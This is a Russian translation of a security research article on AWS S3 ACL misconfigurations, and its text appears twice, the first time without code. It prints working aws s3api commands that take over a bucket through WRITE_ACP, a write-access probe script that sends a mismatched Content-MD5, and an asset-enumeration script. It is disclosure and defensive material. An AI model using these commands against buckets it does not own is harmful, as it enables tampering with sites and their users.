Статья является переводом. Оригинал находится
TL;DR: Настройка контроля доступа AWS S3 состоит из нескольких уровней, каждый из которых имеет свой собственный уникальный риск неправильной настройки. Мы рассмотрим специфику каждого уровня и определим опасные случаи и моменты, когда слабые ACL могут создать уязвимые конфигурации, влияющие на владельца S3-bucket и/или через сторонние ресурсы, используемые многими компаниями. Мы также покажем, как сделать это должным образом и как осуществлять мониторинг такого рода проблем.
Вспомним прошлое
Amazon Web Services (AWS) предоставляет услугу под названием Simple Storage Service (S3), которая раскрывает интерфейс хранения контейнеров. Контейнер хранения называется "bucket" (на рус. «ведро»), а файлы, находящиеся внутри ведра, называются "objects" (на рус. объектами). S3 предоставляет неограниченное хранилище для каждого bucket’a, и владельцы могут использовать их для хранения файлов. Файлы могут обслуживаться как приватно (через подписанные URL), так и публично через соответствующим образом сконфигурированный ACL (Access Control List) или ACP (Access Control Policy).
AWS также предоставляет (CDN) сервис под названием CloudFront, который часто настраивается на «быстрое» обслуживание S3-хостинговых файлов/объектов с оптимизированного сервера CloudFront как можно ближе к пользователю, запрашивающему файл.
Введение
Недавно в нескольких записях блога упоминались сценарии, в которых неправильная конфигурация бакета S3 может привести к
Однако мы решили подойти к этому немного по-другому. Определив ряд различных неправильных настроек, мы обнаружили, что можем внезапно контролировать, отслеживать и «ломать» высококлассные вебсайты из-за слабых конфигураций ACL ведра и объектов.
Дизклеймер
Все случаи, указанные ниже, были сообщены владельцам с использованием политики ответственного раскрытия информации. В некоторых случаях к этому процессу были привлечены сторонние компании, и мы получили от пострадавших компаний помощь в установлении контакта с уязвимой стороной.
Мы не рекомендуем тестировать любой из нижеперечисленных уязвимых сценариев без предварительного согласования. Это особенно важно в сценариях, где единственным способом определения уязвимости было фактическое переопределение файлов и конфигураций. Однако во время наших операции, мы определили один из способов обнаружения уязвимых настроек без фактического изменения данных.
Вам все же следует убедиться, что вы никого не затронули, а если все же преступили к этому, то вы получили письменное соглашение.
Технические данные
Различные неправильные настройки и влияние на каждой из них зависят от следующих критериев:
Идентификация бакетов
Для начала нам необходимо идентифицировать бакеты, принадлежащие компании или используемые ею. Также, нам нужно имя конкретного бакета, чтобы создавать подписанные запросы к этому бакету.
Идентификация бакета зависит от настроек, а также от того, как запрос достигнет самого бакета: Запрос может быть отправлен непосредственно в S3, в CloudFront (или любой другой CDN прокси-сервер, обслуживающий файлы из ведра), в S3 "Статический сайт" или в другие «пункты».
Некоторые методы идентификации S3-бакетов:
Если вы все же найдете домен, который указывает на бакет, но не можете получить его имя, попробуйте fully qualified domain name (FQDN) (на рус. «полностью доверенное доменное имя») в качестве имени бакета, это обычная установка, при которой бакет указывается как домен.
Если это не сработает, попробуйте:
(Вы также можете наткнуться на AllAccessDisabled, но эти ведра полностью мертвы).
Помните, что только потому, что бакет назван именем компании или подобным, это не означает, что оно им принадлежит. Попробуйте найти ссылки непосредственно от компании на бакет, чтобы подтвердить, действительно ли он принадлежит конкретной компании.
Разрешённые/предусмотренные группы
Сначала мы рассмотрим разные опции, которые могут быть использованы для предоставления доступа к запросам бакета и к объектам, которые находятся внутри него:
ID / адрес электронной почтыАдрес
Вы можете предоставить доступ одному пользователю внутри AWS, используя либо идентификатор пользователя AWS, либо адрес его почты. Это имеет смысл, если вы хотите разрешить определенному пользователю определенный доступ к бакету.
Аутентифицированные пользователи
Это, вероятно, самая непонятная предопределенная группа в ACL AWS S3. Наличие в ACL параметра AuthenticatedUsers (Аутентифицированные пользователи) в основном означает "Любой, у кого есть действительный «набор» учетных данных AWS". Все учетные записи AWS, которые могут правильно подписать запрос, находятся внутри этой группы. Юзер который создает запрос, вообще не нужно иметь никакого отношения к учетной записи AWS, владеющей бакетом. Помните, что "залогиненный" - это не то же самое, что "авторизованный".
Этот недочет, скорее всего, является наиболее распространенной причиной, по которой бакет оказывается уязвимым.
AllUsers
Когда эта опция установлена, юзер, даже не нужно делать аутентифицированный запрос на чтение или запись каких-либо данных, так как, в этом случаи, любой может сделать PUT-запрос на изменение или GET-запрос на загрузку объекта.
Политика разрешений / ACP (Access Control Policies «Политика Контроля Доступа»)
Следующие разрешения политики могут быть установлены на бакете или на объекты внутри него.
АСР на бакете и различные его объекты контролируют разные части S3.
READ
Эта опция дает возможность читать содержимое. Если этот ACP установлен на бакет, то запрашивающая сторона может перечислить файлы, находящиеся внутри него. Если ACP установлен на объекте, то запрашивающая сторона может извлечь содержимое.
READ все равно будет работать на определенных объектах внутри бакета, даже если READ доступа к объектам не установлен на complete-бакете.
При следующей настройке ACL внутри AWS S3:
Мы все еще можем прочитать конкретный объект:
Это означает, что опция READ может быть разной для каждого объекта, независимо от настроек на бакете.
READ_ACP
Это разрешение дает возможность читать список контроля доступа к бакету или объекту. Если это право включено, вы можете идентифицировать уязвимые ресурсы, не пытаясь изменить контент или сам ACP вообще.
READ_ACP все равно будет работать на определенных объектах внутри бакета, даже если Object Access READ_ACP не установлен на complete-бакете.
Это означает, что READ_ACP может быть разным для каждого объекта, независимо от настроек на самом бакете.
WRITE
Это разрешение дает возможность записывать информацию. Если в бакете включено это разрешение для пользователя или группы, то стороны могут загружать, изменять и создавать новые файлы.
Запись не будет работать на определенных объектах внутри бакета, если Object Access WRITE не установлен на complete-бакете:
Однако, если WRITE установлен на бакет, то все объекты будут подчиняться и не смогут решить, должны ли они быть доступны для записи или нет:
Это означает, что WRITE может быть проверено на бакете двумя способами: либо загрузив случайный файл, либо изменив существующий. Изменение существующего файла – деструктивний вариант, и не стоит его использовать вообще. Ниже мы объясним, как это проверить, не делая деструктивного вызова, вызвав ошибку в промежутке между проверкой контроля доступа и фактической модификацией файла.
WRITE_ACP
Это разрешение дает возможность изменять разные разрешение ACL бакета или объекта.
Если в бакете включено это разрешение для пользователя или группы, то стороны могут изменять ACL бакет, что не есть хорошо. Наличие WRITE_ACP на бакете полностью подвергает его контролю с другой стороны, имеющей набор ACP. Это означает, что любое содержимое любого объекта теперь может контролироваться другой стороной. Атакующий может не иметь опции READ для каждого объекта, который уже находится в бакете, но все же он может полностью модифицировать существующие объекты. Также, первоначальный владелец S3-бакета получит Access Denied в новой AWS S3 консоли, когда злоумышленник заявит о своем праве на него при удалении READ-доступа к этому бакету.
Во-первых, нету доступа к READ_ACP или WRITE:
Затем мы пытаемся изменить бакет ACL:
Первоначальный владелец ведра теперь увидит это:
(Будучи владельцем, они все равно смогут изменить политику бакета, но это странный действие в любом случае).
Теперь мы можем контролировать все:
Крайне интересно, что WRITE_ACP на самом деле все еще будет работать на определенных объектах внутри бакета, даже если Object Access WRITE_ACP не установлен на complete-бакете:
Кроме того, здесь применяется противоположность WRITE, наличие WRITE_ACP в конфигурации бакета не означает, что вы непосредственно имеете WRITE_ACP на объекте:
Однако, выполняя следующие шаги при наличии WRITE_ACP на бакете, вы все равно получите полный доступ к информации любого объекта, заменив новым содержимым:
Так как WRITE все еще должен быть установлен на бакет, то вы не сможете обновить WRITE_ACP на объекте, чтобы дать себе WRITE на том же объекте:
Поэтому, это все равно даст вам:
Однако, вы все еще можете удалить все права ACP на объекте, сделав объект полностью приватным, что остановит его обслуживание, дав 403 Forbidden.
WRITE_ACP, к сожалению, можно проверить, только протестировав написание новых ACP на бакете или объекте. Изменение существующего файла – деструктивний вариант, и не стоит его использовать вообще. Мы не смогли найти более лучшего способа для проверки этих ACP.
FULL_CONTROL
Это политика, которая сочетает в себе различные правила. Однако, WRITE все равно не будет работать на объекте, пока на бакете это все еще установлено, даже если эти разрешения установлены на объекте.
Уязвимые сценарии
Следующие сценарии являются случаями, когда компания может пострадать.
1. Бакет, используемое на домене, принадлежащем компании.
Вы нашли бакет, которое обслуживается субдоменом или доменом компании.
Вам следует проверить:
При выполнении подписанного PUT-запроса к бакету, у нас появляется возможность добавить Content-MD5, сообщающий AWS контрольную сумму загружаемого файла. Оказывается, что эта проверка происходит следующим образом:
Следующий bash код симулирует этот сценарий:
На бакет, в который мы можем загрузить файл, данный код приведет к:
На бакет, в который мы неможем загрузить файл, данный код приведет к:
Таким образом, мы не изменим содержимое, и убедимся, что можем это сделать. К сожалению, это работает только на WRITE, а не на WRITE_ACP, насколько нам известно.
Однако, если в компании, использующей BUCKET WRITE, есть приложение, куда пользователи могут загружать файлы, посмотрите на реализацию того, как они делают фактическую загрузку файла в S3. Если компания использует выгрузку с помощью
Возможные уязвимости:
Дополнительная оговорка: Активы, используемые компанией, не всегда могут принадлежать самой компании. Здесь необходимо быть предельно осторожным, чтобы ни в коем случае не задеть кого-то, кроме предполагаемой цели, которая дала вам разрешение на тестирование.
Существуют проекты такие как Second Order, которые пытающиеся автоматизировать поиск этих активов. Однако, Second Order проверяет только активы, на которые ссылаются в HTTP-ответе, но файлы, загружаемые динамически, не проверяются. Ниже приведен краткий пример проверки динамически загружаемых активов с помощью Headless Chrome.
Сначала запустите безголовую версию на порту 9222:
Затем мы можем использовать небольшой сценарий (context.js заимствован из HAR-проекта)
Который выдаст нам все активы на странице, которые мы можем использовать, чтобы выяснить, обслуживаются-ли они со стороны S3, или нет:
Для этого, вы должны проверить:
Этот пункт немного сложнее. Вам нужны основательные доказательства того, что бакет действительно принадлежит компании. Попробуйте найти ссылки компании, указывающие на этот бакет, например, ссылки на их сайте, логи CI или открытые исходные коды.
Вы должны проверить:
В ходе этого исследования мы смогли подтвердить, что можем контролировать активы на высококлассных веб-сайтах. Мы сообщили об этих проблемах напрямую и смогли быстро их решить. Это затронуло следующие категории сайтов:
Также, мы выявили уязвимые активы, размещенные на страницах регистрации некоторых компаний.
В некоторых случаях, уязвимые активы загружались с помощью Google Tag Manager (gtm.js), однако они не изолировали «третьи стороны» должным образом, запуская активы третьих сторон непосредственно на самом домене (а не изолировали их с помощью
Мы связались с некоторыми сторонними провайдерами, как напрямую, так и с помощью пострадавших компаний, быстро определив проблему и решив ее очень быстро.
Как обеспечить безопасность
Следующие процессы могут предотвратить возникновение этой проблемы:
Detectify тестирует веб-приложения на следующие уязвимости в неправильной настройке S3 с диапазоном серьезности от 4.4 до 9 по шкале CVSS:
После этого исследования стало ясно, что эта проблема широко распространена и ее трудно выявить и полностью решить, особенно если компания использует огромное количество бакетов, созданных разными системами. WRITE_ACP является наиболее опасной по указанным причинам, как на бакетах, так и на объектах.
Интересная деталь: при ручной загрузке файлов в S3 с помощью Cyberduck, изменение контроля доступа к файлу выглядит следующим образом:
Довольно легко случайно выбрать там не тот, который нужно.
Ссылка скрыта от гостей
TL;DR: Настройка контроля доступа AWS S3 состоит из нескольких уровней, каждый из которых имеет свой собственный уникальный риск неправильной настройки. Мы рассмотрим специфику каждого уровня и определим опасные случаи и моменты, когда слабые ACL могут создать уязвимые конфигурации, влияющие на владельца S3-bucket и/или через сторонние ресурсы, используемые многими компаниями. Мы также покажем, как сделать это должным образом и как осуществлять мониторинг такого рода проблем.
Ссылка скрыта от гостей
этой статьи доступна в блоге Detectify.Вспомним прошлое
Amazon Web Services (AWS) предоставляет услугу под названием Simple Storage Service (S3), которая раскрывает интерфейс хранения контейнеров. Контейнер хранения называется "bucket" (на рус. «ведро»), а файлы, находящиеся внутри ведра, называются "objects" (на рус. объектами). S3 предоставляет неограниченное хранилище для каждого bucket’a, и владельцы могут использовать их для хранения файлов. Файлы могут обслуживаться как приватно (через подписанные URL), так и публично через соответствующим образом сконфигурированный ACL (Access Control List) или ACP (Access Control Policy).
AWS также предоставляет (CDN) сервис под названием CloudFront, который часто настраивается на «быстрое» обслуживание S3-хостинговых файлов/объектов с оптимизированного сервера CloudFront как можно ближе к пользователю, запрашивающему файл.
Введение
Недавно в нескольких записях блога упоминались сценарии, в которых неправильная конфигурация бакета S3 может привести к
Ссылка скрыта от гостей
, а также описывалось,
Ссылка скрыта от гостей
.Однако мы решили подойти к этому немного по-другому. Определив ряд различных неправильных настроек, мы обнаружили, что можем внезапно контролировать, отслеживать и «ломать» высококлассные вебсайты из-за слабых конфигураций ACL ведра и объектов.
Дизклеймер
Все случаи, указанные ниже, были сообщены владельцам с использованием политики ответственного раскрытия информации. В некоторых случаях к этому процессу были привлечены сторонние компании, и мы получили от пострадавших компаний помощь в установлении контакта с уязвимой стороной.
Мы не рекомендуем тестировать любой из нижеперечисленных уязвимых сценариев без предварительного согласования. Это особенно важно в сценариях, где единственным способом определения уязвимости было фактическое переопределение файлов и конфигураций. Однако во время наших операции, мы определили один из способов обнаружения уязвимых настроек без фактического изменения данных.
Вам все же следует убедиться, что вы никого не затронули, а если все же преступили к этому, то вы получили письменное соглашение.
Технические данные
Различные неправильные настройки и влияние на каждой из них зависят от следующих критериев:
- Кто владеет S3 бакетом
- Какой домен используется для обслуживания файлов из бакета.
- Какие файлы находятся внутри бакета.
Идентификация бакетов
Для начала нам необходимо идентифицировать бакеты, принадлежащие компании или используемые ею. Также, нам нужно имя конкретного бакета, чтобы создавать подписанные запросы к этому бакету.
Идентификация бакета зависит от настроек, а также от того, как запрос достигнет самого бакета: Запрос может быть отправлен непосредственно в S3, в CloudFront (или любой другой CDN прокси-сервер, обслуживающий файлы из ведра), в S3 "Статический сайт" или в другие «пункты».
Некоторые методы идентификации S3-бакетов:
- Посмотрите на HTTP-ответ заголовка сервера, на котором написано AmazonS3.
- Попробуйте создать случайный URL-адрес, который не существует, и посмотрите, если он дает вам S3-404, с " Static Website enabled " (на рус. «Статический веб-сайт включен») или без него, содержит Access Denied либо NoSuchKey:
- DNS-вход домена может раскрыть имя бакета напрямую, но только если хост указывает непосредственно на S3.
- Попробуйте получить доступ к root-URL. Если включен индексный список (public READ в Bucket ACL), вы сможете увидеть имя домена, определенное в <Name>-елементе.
Если вы все же найдете домен, который указывает на бакет, но не можете получить его имя, попробуйте fully qualified domain name (FQDN) (на рус. «полностью доверенное доменное имя») в качестве имени бакета, это обычная установка, при которой бакет указывается как домен.
Если это не сработает, попробуйте:
- Погуглите домен и посмотрите, не раскрывает ли что-нибудь имя бакета.
- Посмотрите на заголовки ответов объектов в бакете, чтобы увидеть, есть ли у них какие-то данные, раскрывающие имя.
- Просмотрите содержимое и убедитесь, может ли оно относится к какому-либо бакету. Бывали случаи, когда ресурсам присваивались метки с именами бактов и датой, когда они были развернуты.
- Брутфорс. Будьте аккуратными здесь, не стреляй тысячами запросов только для того, чтобы найти бакет. Постарайтесь быть умнее, в зависимости от имени домена, указывающего на него, и фактической причины его существования. Если бакет содержит аудиофайлы для ACME на домене media.acme.edu, попробуйте media.acme.edu, acme-edu-media, acme-audio или acme-media.
(Вы также можете наткнуться на AllAccessDisabled, но эти ведра полностью мертвы).
Помните, что только потому, что бакет назван именем компании или подобным, это не означает, что оно им принадлежит. Попробуйте найти ссылки непосредственно от компании на бакет, чтобы подтвердить, действительно ли он принадлежит конкретной компании.
Разрешённые/предусмотренные группы
Сначала мы рассмотрим разные опции, которые могут быть использованы для предоставления доступа к запросам бакета и к объектам, которые находятся внутри него:
ID / адрес электронной почтыАдрес
Вы можете предоставить доступ одному пользователю внутри AWS, используя либо идентификатор пользователя AWS, либо адрес его почты. Это имеет смысл, если вы хотите разрешить определенному пользователю определенный доступ к бакету.
Аутентифицированные пользователи
Это, вероятно, самая непонятная предопределенная группа в ACL AWS S3. Наличие в ACL параметра AuthenticatedUsers (Аутентифицированные пользователи) в основном означает "Любой, у кого есть действительный «набор» учетных данных AWS". Все учетные записи AWS, которые могут правильно подписать запрос, находятся внутри этой группы. Юзер который создает запрос, вообще не нужно иметь никакого отношения к учетной записи AWS, владеющей бакетом. Помните, что "залогиненный" - это не то же самое, что "авторизованный".
Этот недочет, скорее всего, является наиболее распространенной причиной, по которой бакет оказывается уязвимым.
AllUsers
Когда эта опция установлена, юзер, даже не нужно делать аутентифицированный запрос на чтение или запись каких-либо данных, так как, в этом случаи, любой может сделать PUT-запрос на изменение или GET-запрос на загрузку объекта.
Политика разрешений / ACP (Access Control Policies «Политика Контроля Доступа»)
Следующие разрешения политики могут быть установлены на бакете или на объекты внутри него.
АСР на бакете и различные его объекты контролируют разные части S3.
Ссылка скрыта от гостей
. Есть и другие случаи, не упомянутые ниже, где вы можете создать специальные опции IAM для бакета, называемые политикой "бакета" (bucket-policy) . Создание данной политики имеет свои проблемы, однако мы рассмотрим только стандартную настройку ACL, установленную для бакетов и объектов.READ
Эта опция дает возможность читать содержимое. Если этот ACP установлен на бакет, то запрашивающая сторона может перечислить файлы, находящиеся внутри него. Если ACP установлен на объекте, то запрашивающая сторона может извлечь содержимое.
READ все равно будет работать на определенных объектах внутри бакета, даже если READ доступа к объектам не установлен на complete-бакете.
При следующей настройке ACL внутри AWS S3:
Мы все еще можем прочитать конкретный объект:
Bash:
$ aws s3api get-object --bucket test-bucket --key read.txt read.txt
{
"AcceptRanges": "bytes",
"ContentType": "text/plain",
"LastModified": "Sun, 09 Jul 2017 21:14:15 GMT",
"ContentLength": 43,
"ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\"",
"Metadata": {}
}
READ_ACP
Это разрешение дает возможность читать список контроля доступа к бакету или объекту. Если это право включено, вы можете идентифицировать уязвимые ресурсы, не пытаясь изменить контент или сам ACP вообще.
READ_ACP все равно будет работать на определенных объектах внутри бакета, даже если Object Access READ_ACP не установлен на complete-бакете.
Это означает, что READ_ACP может быть разным для каждого объекта, независимо от настроек на самом бакете.
Bash:
$ aws s3api get-object-acl --bucket test-bucket --key read-acp.txt
{
"Owner": {
"DisplayName": "fransrosen",
...
WRITE
Это разрешение дает возможность записывать информацию. Если в бакете включено это разрешение для пользователя или группы, то стороны могут загружать, изменять и создавать новые файлы.
Запись не будет работать на определенных объектах внутри бакета, если Object Access WRITE не установлен на complete-бакете:
Bash:
$ aws s3api put-object --bucket test-bucket --key write.txt --body write.txt
An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
Bash:
$ aws s3api put-object --bucket test-bucket --key write.txt --body write.txt
{
"ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\""
}
WRITE_ACP
Это разрешение дает возможность изменять разные разрешение ACL бакета или объекта.
Если в бакете включено это разрешение для пользователя или группы, то стороны могут изменять ACL бакет, что не есть хорошо. Наличие WRITE_ACP на бакете полностью подвергает его контролю с другой стороны, имеющей набор ACP. Это означает, что любое содержимое любого объекта теперь может контролироваться другой стороной. Атакующий может не иметь опции READ для каждого объекта, который уже находится в бакете, но все же он может полностью модифицировать существующие объекты. Также, первоначальный владелец S3-бакета получит Access Denied в новой AWS S3 консоли, когда злоумышленник заявит о своем праве на него при удалении READ-доступа к этому бакету.
Во-первых, нету доступа к READ_ACP или WRITE:
Bash:
$ aws s3api get-bucket-acl --bucket test-bucket
An error occurred (AccessDenied) when calling the GetBucketAcl operation: Access Denied
$ aws s3api put-object --bucket test-bucket --key write-acp.txt --body write-acp.txt
An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
Bash:
$ aws s3api put-bucket-acl --bucket test-bucket --grant-full-control emailaddress=frans@example.com && echo "success"
success
(Будучи владельцем, они все равно смогут изменить политику бакета, но это странный действие в любом случае).
Теперь мы можем контролировать все:
Bash:
$ aws s3api get-bucket-acl --bucket test-bucket
{
...
"Grants": [
{
"Grantee": {
"Type": "CanonicalUser",
"DisplayName": "frans",
"ID": "..."
},
"Permission": "FULL_CONTROL"
$ aws s3api put-object --bucket test-bucket --key write-acp.txt --body write-acp.txt
{
"ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\""
}
Bash:
$ aws s3api put-object-acl --bucket test-bucket --key write-acp.txt --grant-write-acp uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers && echo "success"
success
Bash:
$ aws s3api put-object-acl --bucket test-bucket --key write-acp.txt --grant-full-control emailaddress=frans@example.com
An error occurred (AccessDenied) when calling the PutObjectAcl operation: Access Denied
- Изменение бакета ACL:
Bash:
$ aws s3api put-bucket-acl --bucket test-bucket --grant-full-control emailaddress=frans@example.com && echo "success"
success
- Изменение объекта (при этом вы становитесь владельцем объекта)
Bash:
$ aws s3api put-object --bucket test-bucket --key write-acp.txt --body write-acp.txt
{
"ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\""
}
- Снова изменить права ACP на объект:
Bash:
$ aws s3api put-object-acl --bucket test-bucket --key write1.js --grant-full-control emailaddress=frans@example.com && echo "success"
success
Bash:
$ aws s3api put-object-acl --bucket test-bucket --key write-acp.txt --grant-write-acp uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers --grant-write uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers --grant-read-acp uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers --grant-read uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers && echo "success"
success
Поэтому, это все равно даст вам:
Bash:
$ aws s3api put-object --bucket test-bucket --key write-acp.txt --body write-acp.txt
An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
WRITE_ACP, к сожалению, можно проверить, только протестировав написание новых ACP на бакете или объекте. Изменение существующего файла – деструктивний вариант, и не стоит его использовать вообще. Мы не смогли найти более лучшего способа для проверки этих ACP.
FULL_CONTROL
Это политика, которая сочетает в себе различные правила. Однако, WRITE все равно не будет работать на объекте, пока на бакете это все еще установлено, даже если эти разрешения установлены на объекте.
Уязвимые сценарии
Следующие сценарии являются случаями, когда компания может пострадать.
1. Бакет, используемое на домене, принадлежащем компании.
Вы нашли бакет, которое обслуживается субдоменом или доменом компании.
Вам следует проверить:
- BUCKET READ
- BUCKET READ-ACP
- BUCKET WRITE (Симуляция использования invalid-MD5 hack)
При выполнении подписанного PUT-запроса к бакету, у нас появляется возможность добавить Content-MD5, сообщающий AWS контрольную сумму загружаемого файла. Оказывается, что эта проверка происходит следующим образом:
- Убедитесь, что у пользователя есть доступ к записи файла.
- Убедитесь, что контрольная сумма MD5 соответствует содержимому.
- Загрузите файл.
Следующий bash код симулирует этот сценарий:
Bash:
# use this by: ./put-simulate.sh test-bucket/write.txt
AWS_ACCESS_KEY_ID="***"
AWS_SECRET_ACCESS_KEY="***"
AWS_S3_BUCKET="$(echo "$1" | cut -d "/" -f1)"
AWS_PATH="/$(echo "$1" | cut -d "/" -f2-)"
date=$(date +"%a, %d %b %Y %T %z")
acl="x-amz-acl:private"
content_type='application/octet-stream'
# we create a checksum of the word "yepp", but will upload a file with the content "nope".
content_md5=$(openssl dgst -md5 -binary <(echo "yepp") | openssl enc -base64)
string="PUT\n${content_md5}\n${content_type}\n${date}\n${acl}\n/${AWS_S3_BUCKET}${AWS_PATH}"
signature=$(echo -en "${string}" | openssl sha1 -hmac "${AWS_SECRET_ACCESS_KEY}" -binary | base64)
echo "PUT to S3 with invalid md5: ${AWS_S3_BUCKET}${AWS_PATH}"
result=$(curl -s --insecure -X PUT --data "nope" \
-H "Host: ${AWS_S3_BUCKET}.s3.amazonaws.com" \
-H "Date: $date" \
-H "Content-Type: ${content_type}" \
-H "Content-MD5: ${content_md5}" \
-H "$acl" \
-H "Authorization: AWS ${AWS_ACCESS_KEY_ID}:${signature}" \
"https://${AWS_S3_BUCKET}.s3.amazonaws.com${AWS_PATH}")
if [ "$(echo ${result} | grep 'The Content-MD5 you specified did not match what we received')" != "" ]; then
echo "SUCCESS: ${AWS_S3_BUCKET}${AWS_PATH}"
exit 0
fi
echo "$result"
exit 1
Bash:
$ ./put-simulate.sh test-bucket/write.txt
PUT to S3 with invalid md5: test-bucket/write.txt
SUCCESS: test-bucket/write.txt
На бакет, в который мы неможем загрузить файл, данный код приведет к:
Bash:
$ ./put-simulate.sh test-secure-bucket/write.txt
PUT to S3 with invalid md5: test-secure-bucket/write.txt
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message>
- BUCKET WRITE-ACP
Ссылка скрыта от гостей
- OBJECT READ
OBJECT WRITE
Однако, если в компании, использующей BUCKET WRITE, есть приложение, куда пользователи могут загружать файлы, посмотрите на реализацию того, как они делают фактическую загрузку файла в S3. Если компания использует выгрузку с помощью
Ссылка скрыта от гостей
, обратите особое внимание на политику Condition Matching $key и Content-type. В зависимости от того, используют ли они start-with, вы можете изменять тип содержимого на HTML/XML/SVG/и т.д., или изменять местоположение загружаемого файла.- OBJECT WRITE-ACP
Ссылка скрыта от гостей
Возможные уязвимости:
- Reflected XSS. Если мы сможем использовать BUCKET READ, то мы сможем просмотреть информацию, и найти уязвимые объекты, такие как: уязвимый SWF на домене компании.
- Stored XSS / asset control. Если мы сможем использовать BUCKET WRITE или BUCKET WRITE-ACP (тот же OBJECT WRITE), то мы сможем изменить существующие данные или создать новые, имея возможность изменять javascript/html/css-файлы или загружать новые.
- Denial of server. Если мы сможем изменить ACP объектов с помощью OBJECT WRITE-ACP, то мы сможем предотвратить публичную загрузку объектов.
- Information disclosure. Если мы сможем перечислить объекты, то мы сможем найти конфиденциальную информацию.
- RCE. Если бакет содержит модифицируемые исполняемые файлы, то это может привести к удаленному выполнению кода (или RCE) в зависимости от того, где используются исполняемые файлы и если/кем они загружаются.
Дополнительная оговорка: Активы, используемые компанией, не всегда могут принадлежать самой компании. Здесь необходимо быть предельно осторожным, чтобы ни в коем случае не задеть кого-то, кроме предполагаемой цели, которая дала вам разрешение на тестирование.
Существуют проекты такие как Second Order, которые пытающиеся автоматизировать поиск этих активов. Однако, Second Order проверяет только активы, на которые ссылаются в HTTP-ответе, но файлы, загружаемые динамически, не проверяются. Ниже приведен краткий пример проверки динамически загружаемых активов с помощью Headless Chrome.
Сначала запустите безголовую версию на порту 9222:
Bash:
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --remote-debugging-port=9222 --disable-gpu --headless
JavaScript:
const CDP = require('chrome-remote-interface');
const URL = require('url').URL;
const Context = require('./context');
async function log_requests(orig_url) {
const context = new Context({});
process.on('SIGTERM', function () {
context.destroy();
});
try {
const client = await context.create();
const {Network, Page} = client;
const ourl = new URL('http://' + orig_url);
const ohost = ourl.host;
Network.requestWillBeSent((params) => {
if (params.request.url.match('^data:')) {
return;
}
const url = new URL(params.request.url);
console.log(ohost + ':' + url.host + ':' + params.request.url);
});
await Promise.all([Network.enable(), Page.enable()]);
await Page.navigate({url: 'http://' + orig_url});
await Page.loadEventFired();
await Page.navigate({url: 'https://' + orig_url});
await Page.loadEventFired();
} finally {
await context.destroy();
}
}
const url = process.argv.slice(2)[0];
log_requests(url);
Для этого, вы должны проверить:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
- OBJECT WRITE-ACP
- Stored XSS / asset control. Если мы можем использовать BUCKET WRITE или BUCKET WRITE-ACP (тот же OBJECT WRITE), то мы сможем изменить существующую информацию или создать новую, имея возможность модифицировать javascript/html/css-файлы. Это, разумеется может закончится не радужно, в зависимости от того, где используются те или иные активы, например, на входе в систему или на главной страницах.
- Denial of server. Если мы можем изменить ACP объектов с помощью OBJECT WRITE-ACP, мы можем предотвратить публичную загрузку объектов.
- RCE. Если активы являются модифицируемыми исполняемыми файлами, это может привести к удаленному выполнению кода (RCE) в зависимости от того, где используются исполняемые файлы и если/кем они загружаются.
Этот пункт немного сложнее. Вам нужны основательные доказательства того, что бакет действительно принадлежит компании. Попробуйте найти ссылки компании, указывающие на этот бакет, например, ссылки на их сайте, логи CI или открытые исходные коды.
Вы должны проверить:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
- Stored XSS / asset control. Если мы сможем использовать BUCKET WRITE или BUCKET WRITE-ACP (тот же OBJECT WRITE), тогда мы сможем изменить существующие данные или создать новые, имея возможность изменять javascript/html/css-файлы. Однако в этом случае, мы не знаем, где используются файлы, и поэтому мы можем только догадываться, насколько большое влияние это оказывает, не зная официальной информации от компании.
- Denial of server. Если мы сможем изменить ACP объектов с помощью OBJECT WRITE-ACP, мы сможем предотвратить публичную загрузку объектов. Однако, в этом случае мы не знаем, произойдет ли публичная загрузка.
- Information disclosure. Если мы сможем перечислить объекты, мы сможем найти конфиденциальную информацию. НО делайте это только в том случае, если вы уверены, что бакет действительно связан с компанией, с которой у вас есть разрешение.
- RCE. Если бакет содержит модифицируемые исполняемые файлы, это может привести к удаленному выполнению кода (RCE) в зависимости от того, где используются исполняемые файлы и если/кто их загружает.
В ходе этого исследования мы смогли подтвердить, что можем контролировать активы на высококлассных веб-сайтах. Мы сообщили об этих проблемах напрямую и смогли быстро их решить. Это затронуло следующие категории сайтов:
- Менеджеры паролей
- Провайдеры DNS/CDN
- Хранение файлов
- Игры
- Провайдеры потокового аудио и видео
- Отслеживание состояния здоровья
Также, мы выявили уязвимые активы, размещенные на страницах регистрации некоторых компаний.
В некоторых случаях, уязвимые активы загружались с помощью Google Tag Manager (gtm.js), однако они не изолировали «третьи стороны» должным образом, запуская активы третьих сторон непосредственно на самом домене (а не изолировали их с помощью
Ссылка скрыта от гостей
).Мы связались с некоторыми сторонними провайдерами, как напрямую, так и с помощью пострадавших компаний, быстро определив проблему и решив ее очень быстро.
Как обеспечить безопасность
Следующие процессы могут предотвратить возникновение этой проблемы:
- Песочница сторонних активов. Как только вам понадобятся активы сторонних производителей, то с помощью gtm.js или аналогичного сервиса, можно изолировать скрипты либо с помощью iframe, предоставляемого Google Tag Manager, либо поместив их на отдельный домен (а не только на субдомен). Также поинтересуйтесь у провайдера, как он управляет доступом к своим файлам и использует ли он S3 для работы с файлами.
- Если у вас есть свой собственный бакет, просмотрите ACL, чтобы убедиться, что WRITE и WRITE_ACP установлены только для определенных пользователей, но не для таких групп как: AllUsers или AuthenticatedUsers.
- Самая сложная опочинка –это запретить любому объекту в любом бакете заполучить WRITE_ACP, попробуйте сами, написав aws s3api put-object-acl с соответствующими настройками, используя ограниченного AWS-пользователя против ваших собственных объектов на ваших бакетах. Вам может понадобиться обновить ACL на каждом объекте, чтобы полностью устранить эту проблему.
